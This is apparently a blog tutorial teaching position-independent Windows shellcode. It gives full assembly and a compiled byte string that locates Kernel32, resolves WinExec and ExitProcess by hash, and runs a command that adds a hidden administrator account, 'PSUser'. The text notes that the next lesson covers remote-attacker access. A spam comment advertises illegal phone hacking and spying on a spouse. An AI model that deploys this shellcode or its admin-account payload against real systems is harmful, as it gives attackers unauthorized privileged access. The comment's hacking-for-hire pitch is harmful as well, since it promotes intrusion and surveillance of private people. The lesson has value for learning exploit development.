728x90 AdSpace

.
Latest News

Shellcode Tutorial 6: Dynamic Shellcode


Introduction
Up until now we have created shellcode containing hardcoded Windows function addresses. Hardcoding memory addresses restricts the shellcode to running on a specific version of Windows, service pack, and potentially even patch level. Well that stops here!
This tutorial will provide you with the required functions and assembly code to dynamically locate the memory addresses for the Windows functions that you want to call in your shellcode.

Our Aim
The aim of our shellcode will be to create the "Windows Command Execution Shellcode" (from Tutorial 3) without hardcoding any memory addresses so that our shellcode is portable across Windows systems.
This is done by first locating Kernel32.dll in memory, and then looping through each function name in Kernel32.dll and comparing each function hash to the function hashes that we generated in the previous tutorial.

Setting up the function hashes
From Tutorial 3 we added an administrative user to the local system using the functions "WinExec" and "ExitProcess". In Tutorial 5 we created the hashes for these functions, and we also learned how to set constants within our shellcode. The snippet of code below demonstrates us setting the constants for the hashes within our current shellcode:
+------------------ [snip] ------------------+
;DEFINE CONSTANTS
    locate_hashes:
        call locate_hashes_return
        ;WinExec        ;result hash = 0x98FE8A0E
        db 0x98
        db 0xFE
        db 0x8A
        db 0x0E
        ;ExitProcess        ;result hash = 0x7ED8E273
        db 0x7E
        db 0xD8
        db 0xE2
        db 0x73
    ;END DEFINE CONSTANTS
+------------------ [snip] ------------------+

So how do we find Kernel32.dll and our function addresses?
Kernel32.dll is always loaded when Windows boots up, and all Windows operating systems (prior to Vista) load Kernel32.dll into a predictable location in memory. This allows us to locate Kernel32.dll, and then from there we are able to step through and find each function name contained within Kernel32.dll. This allows us to find any function address within Kernel32.dll.
As we loop through each function, we calculate the hash for this function name and compare it to our precalculated hash for the first function that we are searching for. If the hash matches then we have found our first function address. At this stage, we loop through the functions again to find our second function hash, and third, and so on until the end of our hash list has been reached.
The assembly code for this tutorial contains the following new functions that allow us to perform the above actions:
    find_kernel32
    find_function
    resolve_symbols_for_dll

The flow of the shellcode
The first command in our shellcode jumps over all of the defined functions and constants into the "main" code of the assembly. At this point we need to allocate space on the stack for our function addresses. Each function address is 4 bytes, so we allocate 8 btyes on the stack to store the two function addresses. If your future shellcode uses an extra function, then this value should represent 12 bytes on the stack - but be careful of decimal notation and hex notation.
The next instruction sets ebp as the frame pointer. This acts as a marker on the stack that doesn't change. This allows us to refer to our function addresses relative to the ebp register, as shown below.
Our shellcode then calls "find_kernel32", which puts the Kernel32.dll address into the eax register. We then locate our constant function hashes, and then call "resolve_symbols_for_dll". This function uses "find_function" that loops through Kernel32.dll to locate the function address using our hashes and places the function address into our allocated positions on the stack.
Our function addresses can now be called using the following call instructions:
    call [ebp+4]     ;WinExec
    call [ebp+8]     ;ExitProcess
We can now start our custom shellcode to create a new user by calling these functions as we did in Tutorial 3, but this time we don't use any hardcoded function addresses.

The Shellcode
+--------------- Start adduser-dynamic.asm --------------+
;adduser-dynamic.asm
[SECTION .text]
BITS 32
global _start
_start:
    jmp start_asm
;DEFINE FUNCTIONS
;FUNCTION: find_kernel32
find_kernel32:
    push esi
    xor eax, eax
    mov eax, [fs:eax+0x30]
    test eax, eax
    js find_kernel32_9x
find_kernel32_nt:
    mov eax, [eax + 0x0c]
    mov esi, [eax + 0x1c]
    lodsd
    mov eax, [eax + 0x8]
    jmp find_kernel32_finished
find_kernel32_9x:
    mov eax, [eax + 0x34]
    lea eax, [eax + 0x7c]
    mov eax, [eax + 0x3c]
find_kernel32_finished:
    pop esi
    ret
;END FUNCTION: find_kernel32
;FUNCTION: find_function
find_function:
    pushad
    mov ebp, [esp + 0x24]
    mov eax, [ebp + 0x3c]
    mov edx, [ebp + eax + 0x78]
    add edx, ebp
    mov ecx, [edx + 0x18]
    mov ebx, [edx + 0x20]
    add ebx, ebp
find_function_loop:
    jecxz find_function_finished
    dec ecx
    mov esi, [ebx + ecx * 4]
    add esi, ebp ; esi now points to current function string
     ; start of compute hash function
compute_hash: ; put this into a function
    xor edi, edi ; edi will hold our hash result
    xor eax, eax ; eax holds our current char
    cld
compute_hash_again:
    lodsb ; puts current char into eax (except first time)
    test al, al ; checks for null - end of function string
    jz compute_hash_finished
    ror edi, 0xd ; rotate the current hash
    add edi, eax ; adds current char to current hash
    jmp compute_hash_again
compute_hash_finished: ; end of compute hash function
find_function_compare:
    ;this is where it compares the calculated hash to our hash
    cmp edi, [esp + 0x28]
    jnz find_function_loop
    mov ebx, [edx + 0x24]
    add ebx, ebp
    mov cx, [ebx + 2 * ecx]
    mov ebx, [edx + 0x1c]
    add ebx, ebp
    mov eax, [ebx + 4 * ecx]
    add eax, ebp
    ;this is the VMA of the function
    mov [esp + 0x1c], eax
find_function_finished:
    popad
    ret
   
;END FUNCTION: find_function
;FUNCTION: resolve_symbols_for_dll
resolve_symbols_for_dll:
    ;about to load current hash into eax (pointed to by esi)
    lodsd
    push eax
    push edx
    call find_function
    mov [edi], eax
    add esp, 0x08
    add edi, 0x04
    cmp esi, ecx
    jne resolve_symbols_for_dll
resolve_symbols_for_dll_finished:
    ret
;END FUNCTION: resolve_symbols_for_dll
;DEFINE CONSTANTS
   
locate_hashes:
    call locate_hashes_return
    ;WinExec ;result hash = 0x98FE8A0E
    db 0x98
    db 0xFE
    db 0x8A
    db 0x0E
    ;ExitProcess ;result hash = 0x7ED8E273
    db 0x7E
    db 0xD8
    db 0xE2
    db 0x73
;END DEFINE CONSTANTS
start_asm: ; start our main program
    sub esp, 0x08 ; allocate space on stack for function addresses
    mov ebp, esp ; set ebp as frame ptr for relative offset on stack
    call find_kernel32 ;find address of Kernel32.dll
    mov edx, eax
    ;resolve kernel32 symbols
    jmp short locate_hashes ;locate address of our hashes
locate_hashes_return: ;define return label to return to this code
    pop esi ;get constants address from stack
    lea edi, [ebp + 0x04] ;this is where we store our function addresses
    mov ecx, esi
    add ecx, 0x08 ;length of dns shellcode hash list
    call resolve_symbols_for_dll
;add user section
    jmp short GetCommand
CommandReturn:
    pop ebx ;ebx now holds the handle to the string
    xor eax,eax ;empties out eax
    push eax ;push null onto stack as empty parameter value
    push ebx ;push the command onto the stack
    call [ebp+4] ;call WinExec(path,showcode)
    xor eax,eax ;zero the register again, clears winexec retval
    push eax ;push null onto stack as empty parameter value
call [ebp+8] ;call ExitProcess(0);
GetCommand:
    call CommandReturn
    db "cmd.exe /c net user PSUser PSPasswd /ADD && net localgroup Administrators /ADD PSUser"
    db 0x00
+--------------- End adduser-dynamic.asm --------------+

Compiling the Assembly Code
In previous tutorials, we have manually gone through every step of compiling the assembly with nasm, stripping the raw shellcode with xxd and xdd-shellcode.sh, inserting this raw shellcode into shellcodetest.c, and then compiling this test program with gcc. This can be painful to remember and carry out each time you make a slight change to your shellcode.
For this reason I created "shellcode-compiler.sh", which does all of these for you! You should have downloaded this script, and any other required scripts and programs in Tutorial 1. The usage of this program is shown below;
    $ ./shellcode-compiler.sh
   
        Usage: ./shellcode-compiler.sh filename.asm
        Eg, ./shellcode-compiler.sh shellcode.asm
It takes the assembly file as an input to the compiler, and creates the Cygwin executable file of the form "filename.shellcodetest". The assembly for this tutorial can be compiled using the following command, and should display something similar to the output below.
    $ ./shellcode-compiler.sh adduser-dynamic.asm
   
    Compiling adduser-dynamic.asm to adduser-dynamic.bin
    [nasm -f bin -o adduser-dynamic.bin adduser-dynamic.asm]
   
    Converting adduser-dynamic.bin to adduser-dynamic.shellcode
    [./xxd-shellcode.sh adduser-dynamic.asm]
    \xe9\x9b\x00\x00\x00\x56\x31\xc0\x64\x8b\x40\x30\x85\xc0\x78\x0f\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40\x08\xe9\x09\x00\x00\x00\x8b\x40\x34\x8d\x40\x7c\x8b\x40\x3c\x5e\xc3\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xad\x50\x52\xe8\xaa\xff\xff\xff\x89\x07\x81\xc4\x08\x00\x00\x00\x81\xc7\x04\x00\x00\x00\x39\xce\x75\xe6\xc3\xe8\x19\x00\x00\x00\x98\xfe\x8a\x0e\x7e\xd8\xe2\x73\x81\xec\x08\x00\x00\x00\x89\xe5\xe8\x58\xff\xff\xff\x89\xc2\xeb\xe2\x5e\x8d\x7d\x04\x89\xf1\x81\xc1\x08\x00\x00\x00\xe8\xb6\xff\xff\xff\xeb\x0e\x5b\x31\xc0\x50\x53\xff\x55\x04\x31\xc0\x50\xff\x55\x08\xe8\xed\xff\xff\xff\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x6e\x65\x74\x20\x75\x73\x65\x72\x20\x50\x53\x55\x73\x65\x72\x20\x50\x53\x50\x61\x73\x73\x77\x64\x20\x2f\x41\x44\x44\x20\x26\x26\x20\x6e\x65\x74\x20\x6c\x6f\x63\x61\x6c\x67\x72\x6f\x75\x70\x20\x41\x64\x6d\x69\x6e\x69\x73\x74\x72\x61\x74\x6f\x72\x73\x20\x2f\x41\x44\x44\x20\x50\x53\x55\x73\x65\x72
   
    Creating adduser-dynamic.shellcodetest.c
   
    Compiling adduser-dynamic.shellcodetest.c to adduser-dynamic.shellcodetest[.exe]
    [gcc -o adduser-dynamic.shellcodetest adduser-dynamic.shellcodetest.c]
   
    Complete. You can now execute ./adduser-dynamic.shellcodetest[.exe]
   
  
You should now be ready to test the shellcode.

Testing the shellcode
Before we run this program, we want to show the user accounts on your local system by running the following command:
    # net user
    (lists the local accounts on your system)
You should now be able to execute your shellcode via the test program "./adduser-dynamic.shellcodetest". The shellcode is designed to add an administrative user onto your system called "PSUser", and then it should exit cleanly.
    # ./adduser-dynamic.shellcodetest
    The command completed successfully.
    (adds a user account)
    The command completed successfully.
    (adds the user account to the administrators group)
    (then exists cleanly)
We can now confirm that the account was created by running the "net user" command again, as shown below:
    # net user
    (lists the local accounts, now including "PSUser")

Clean Up
You should make sure that you remove this account from your system to ensure that it is not used to break into your system. This can be done using the following command:
    # net user PSUser /delete
    The command completed successfully.
    (deletes the "PSUser" account)

Congratulations!
You have just created shellcode that automatically locates the memory addresses for Kernel32.dll and the Windows functions that we needed. The shellcode then used these function addresses to execute Windows functions to add an administrative account on the local system.
You can now write shellcode that is portable across multiple Windows systems!
The learning doesn't stop here! We now need to know how to create network connections so that a remote attacker can execute commands on the compromised system. This is the next tutorial.
  • Blogger Comments
  • Facebook Comments

1 comments:

  1. Are you willing to know who your spouse really is, if your spouse is cheating just contact cybergoldenhacker he is good at hacking into cell phones,changing school grades and many more this great hacker has also worked for me and i got results of spouse whats-app messages,call logs, text messages, viber,kik, Facebook, emails. deleted text messages and many more this hacker is very fast cheap and affordable he has never disappointed me for once contact him if you have any form of hacking problem am sure he will help you THANK YOU.
    contact: cybergoldenhacker at gmail dot com

    ReplyDelete

Item Reviewed: Shellcode Tutorial 6: Dynamic Shellcode Rating: 5 Reviewed By: Unknown